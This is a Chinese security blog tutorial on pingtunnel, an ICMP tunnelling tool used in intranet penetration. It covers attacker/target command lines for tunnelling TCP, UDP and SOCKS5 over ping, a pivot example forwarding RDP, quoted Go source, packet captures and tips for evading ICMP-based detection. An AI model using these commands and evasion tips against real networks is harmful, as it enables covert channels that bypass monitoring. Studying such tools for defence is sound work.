前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网隧道之pingtunnel

内网隧道之pingtunnel

作者头像
红客突击队
发布2022-09-29 21:16:35
1.5K0
发布2022-09-29 21:16:35
举报
文章被收录于专栏:kayden

内网隧道之pingtunnel

前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去
  • 目标机可能要管理员权限
  • windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

代码语言:javascript
复制
sudo ./pingtunnel -type server
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

代码语言:javascript
复制
# 转发 sock5
./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1
# 转发 tcp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# 转发 udp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

代码语言:javascript
复制
./pingtunnel -x 123456 #设置密码

攻击机

代码语言:javascript
复制
./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)攻击机

代码语言:javascript
复制
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
[sudo] ./pingtunnel -type server -key 123456 #设置密码

(2)目标机

代码语言:javascript
复制
./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机

攻击机收到信息

3、抓包看看

建立连接时的心跳包和ARP寻址

nc命令时的包

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

代码语言:javascript
复制
package main

import (
  "flag"
  "fmt"
  "github.com/esrrhs/go-engine/src/common" 
  "github.com/esrrhs/go-engine/src/geoip"
  "github.com/esrrhs/go-engine/src/loggo"
  "github.com/esrrhs/go-engine/src/pingtunnel"
  "net"
  "net/http"
  _ "net/http/pprof"
  "strconv"
  "time"
)

var usage = `
    通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
    By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.

Usage:

    // server
    pingtunnel -type server

    // client, Forward udp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

    // client, Forward tcp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

    // client, Forward sock5, implicitly open tcp, so no target server is needed
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

    -type     服务器或者客户端
              client or server

服务器参数server param:

    -key      设置的密码,默认0
              Set password, default 0

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -maxconn  最大连接数,默认0,不受限制
              the max num of connections, default 0 is no limit

    -maxprt   server最大处理线程数,默认100
              max process thread in server, default 100

    -maxprb   server最大处理线程buffer数,默认1000
              max process thread's buffer in server, default 1000

    -conntt   server发起连接到目标地址的超时时间,默认1000ms
              The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.

客户端参数client param:

    -l        本地的地址,发到这个端口的流量将转发到服务器
              Local address, traffic sent to this port will be forwarded to the server

    -s        服务器的地址,流量将通过隧道转发到这个服务器
              The address of the server, the traffic will be forwarded to this server through the tunnel

    -t        远端服务器转发的目的地址,流量将转发到这个地址
              Destination address forwarded by the remote server, traffic will be forwarded to this address

    -timeout  本地记录连接超时的时间,单位是秒,默认60s
              The time when the local record connection timed out, in seconds, 60 seconds by default

    -key      设置的密码,默认0
              Set password, default 0

    -tcp      设置是否转发tcp,默认0
              Set the switch to forward tcp, the default is 0

    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB
              Tcp send and receive buffer size, default 1MB

    -tcp_mw   tcp的最大窗口,默认20000
              The maximum window of tcp, the default is 20000

    -tcp_rst  tcp的超时发送时间,默认400ms
              Tcp timeout resend time, default 400ms

    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
              Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

    -tcp_stat 打印tcp的监控,默认0
              Print tcp connection statistic, default 0 is off

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -sock5    开启sock5转发,默认0
              Turn on sock5 forwarding, default 0 is off

    -profile  在指定端口开启性能检测,默认0不开启
              Enable performance detection on the specified port. The default 0 is not enabled.

    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
              Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
              The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`

func main() {

  defer common.CrashLog()

  t := flag.String("type", "", "client or server")
  listen := flag.String("l", "", "listen addr")
  target := flag.String("t", "", "target addr")
  server := flag.String("s", "", "server addr")
  timeout := flag.Int("timeout", 60, "conn timeout")
  key := flag.Int("key", 0, "key")
  tcpmode := flag.Int("tcp", 0, "tcp mode")
  tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
  tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
  tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
  tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
  nolog := flag.Int("nolog", 0, "write log file")
  noprint := flag.Int("noprint", 0, "print stdout")
  tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
  loglevel := flag.String("loglevel", "info", "log level")
  open_sock5 := flag.Int("sock5", 0, "sock5 mode")
  maxconn := flag.Int("maxconn", 0, "max num of connections")
  max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
  max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
  profile := flag.Int("profile", 0, "open profile")
  conntt := flag.Int("conntt", 1000, "the connect call's timeout")
  s5filter := flag.String("s5filter", "", "sock5 filter")
  s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
  flag.Usage = func() {
    fmt.Printf(usage)
  }

  flag.Parse()

  if *t != "client" && *t != "server" {
    flag.Usage()
    return
  }
  if *t == "client" {
    if len(*listen) == 0 || len(*server) == 0 {
      flag.Usage()
      return
    }
    if *open_sock5 == 0 && len(*target) == 0 {
      flag.Usage()
      return
    }
    if *open_sock5 != 0 {
      *tcpmode = 1
    }
  }
  if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {
    fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
    return
  }
  // 记录日志
  level := loggo.LEVEL_INFO
  if loggo.NameToLevel(*loglevel) >= 0 {
    level = loggo.NameToLevel(*loglevel)
  }
  loggo.Ini(loggo.Config{
    Level:     level,
    Prefix:    "pingtunnel",
    MaxDay:    3,
    NoLogFile: *nolog > 0,
    NoPrint:   *noprint > 0,
  })
  loggo.Info("start...")
  loggo.Info("key %d", *key)

  if *t == "server" {
    s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
    if err != nil {
      loggo.Error("ERROR: %s", err.Error())
      return
    }
    loggo.Info("Server start")
    err = s.Run()
    if err != nil {
      loggo.Error("Run ERROR: %s", err.Error())
      return
    }
  } else if *t == "client" {

    loggo.Info("type %s", *t)
    loggo.Info("listen %s", *listen)
    loggo.Info("server %s", *server)
    loggo.Info("target %s", *target)

    if *tcpmode == 0 {
      *tcpmode_buffersize = 0
      *tcpmode_maxwin = 0
      *tcpmode_resend_timems = 0
      *tcpmode_compress = 0
      *tcpmode_stat = 0
    }
    
    // 过滤国家,如果不是翻墙可以忽略
    if len(*s5filter) > 0 {
      err := geoip.Load(*s5ftfile)
      if err != nil {
        loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
        return
      }
    }
    filter := func(addr string) bool {
      if len(*s5filter) <= 0 {
        return true
      }

      taddr, err := net.ResolveTCPAddr("tcp", addr)
      if err != nil {
        return false
      }

      ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
      if err != nil {
        return false
      }
      if len(ret) <= 0 {
        return false
      }
      return ret != *s5filter
    }

    c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
      *tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
      *tcpmode_stat, *open_sock5, *maxconn, &filter)
    if err != nil {
      loggo.Error("ERROR: %s", err.Error())
      return
    }
    loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
      c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
    err = c.Run()
    if err != nil {
      loggo.Error("Run ERROR: %s", err.Error())
      return
    }
  } else {
    return
  }

  if *profile > 0 {
    go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
  }

  for {
    time.Sleep(time.Hour)
  }
}

(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

代码语言:javascript
复制
package pingtunnel

import (
  "encoding/binary"
  "github.com/esrrhs/go-engine/src/common"
  "github.com/esrrhs/go-engine/src/loggo"
  "github.com/golang/protobuf/proto"
  "golang.org/x/net/icmp"
  "golang.org/x/net/ipv4"
  "net"
  "sync"
  "time"
)

func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string,
  connId string, msgType uint32, data []byte, sproto int, rproto int, key int,
  tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int,
  timeout int) {

  m := &MyMsg{
    Id:                  connId,
    Type:                (int32)(msgType),
    Target:              target,
    Data:                data,
    Rproto:              (int32)(rproto),
    Key:                 (int32)(key),
    Tcpmode:             (int32)(tcpmode),
    TcpmodeBuffersize:   (int32)(tcpmode_buffer_size),
    TcpmodeMaxwin:       (int32)(tcpmode_maxwin),
    TcpmodeResendTimems: (int32)(tcpmode_resend_time),
    TcpmodeCompress:     (int32)(tcpmode_compress),
    TcpmodeStat:         (int32)(tcpmode_stat),
    Timeout:             (int32)(timeout),
    Magic:               (int32)(MyMsg_MAGIC),
  }

  mb, err := proto.Marshal(m)
  if err != nil {
    loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err)
    return
  }

  body := &icmp.Echo{
    ID:   id,
    Seq:  sequence,
    Data: mb,
  }

  msg := &icmp.Message{
    Type: (ipv4.ICMPType)(sproto),
    Code: 0,
    Body: body,
  }

  bytes, err := msg.Marshal(nil)
  if err != nil {
    loggo.Error("sendICMP Marshal error %s %s", server.String(), err)
    return
  }

  conn.WriteTo(bytes, server)
}

func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) {

  defer common.CrashLog()

  (*workResultLock).Add(1)
  defer (*workResultLock).Done()

  bytes := make([]byte, 10240)
  for !*exit {
    conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100))
    n, srcaddr, err := conn.ReadFrom(bytes)

    if err != nil {
      nerr, ok := err.(net.Error)
      if !ok || !nerr.Timeout() {
        loggo.Info("Error read icmp message %s", err)
        continue
      }
    }

    if n <= 0 {
      continue
    }

    echoId := int(binary.BigEndian.Uint16(bytes[4:6]))
    echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))

    my := &MyMsg{}
    err = proto.Unmarshal(bytes[8:n], my)
    if err != nil {
      loggo.Debug("Unmarshal MyMsg error: %s", err)
      continue
    }

    if my.Magic != (int32)(MyMsg_MAGIC) {
      loggo.Debug("processPacket data invalid %s", my.Id)
      continue
    }

    recv <- &Packet{my: my,
      src:    srcaddr.(*net.IPAddr),
      echoId: echoId, echoSeq: echoSeq}
  }
}

type Packet struct {
  my      *MyMsg
  src     *net.IPAddr
  echoId  int
  echoSeq int
}

const (
  FRAME_MAX_SIZE int = 888
  FRAME_MAX_ID   int = 1000000
)

(3)client.go

800多行。。。主要是由于要支持TCP、UDP、SOCKS5

(4)server.go

同样是800多行。。

2、检测与绕过

(1)异常ICMP数据包数量

如图是nc期间,1s内有10个包

考虑将包的间隔定死为ping的间隔 或者鱼目混珠掩护

(2)异常ICMP包长度

如图是nc传信息时的包,长度异常

考虑将内容切分,限制长度,收到后再拼装

(3)payload内容

躲不过去的payload内容检测

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes

代码语言:javascript
复制
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

加密混淆不知道效果如何,视规则而定?

结语

用go写的icmp隧道,比其他icmp隧道要牛一点


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 内网隧道之pingtunnel
    • 2、建立隧道
      • (3)nc
    • 3、抓包看看
    • 三、探索
      • 1、源码与分析
        • (1)main.go
        • (2)pingtunnel.go
        • (3)client.go
        • (4)server.go
      • 2、检测与绕过
        • (1)异常ICMP数据包数量
        • (2)异常ICMP包长度
    相关产品与服务
    云服务器
    云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档